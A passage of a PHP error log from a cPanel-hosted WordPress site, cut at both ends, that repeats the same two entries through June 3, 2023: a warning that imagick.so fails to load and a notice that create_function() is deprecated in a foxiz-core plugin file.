(tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:10:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:12:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:12:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 04:17:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 04:17:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 05:18:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 05:18:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 06:19:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 06:19:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 07:20:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 07:20:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 08:22:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 08:22:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:23:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:23:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:53:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:53:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:54:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:54:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:54:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:54:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:55:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:55:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:55:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:55:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:56:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:56:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:56:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:56:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:56:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:56:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:56:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:56:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:57:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:57:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:58:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:58:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:58:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:58:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:58:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:58:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:58:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:58:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:58:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:58:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:59:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:59:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:59:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:59:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 09:59:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 09:59:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:00:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:00:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:05:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:05:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:06:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:06:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:07:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:07:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:07:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:07:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:08:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:08:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:08:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:08:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:08:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:08:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:09:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:09:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:09:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:09:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:10:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:10:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:11:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:11:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:11:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:11:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:11:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:11:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:12:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:12:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 10:24:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 10:24:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 11:25:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 11:25:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 12:25:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 12:25:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 13:26:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 13:26:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 14:27:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 14:27:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:28:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [03-Jun-2023 15:28:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [03-Jun-2023 15:52:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot 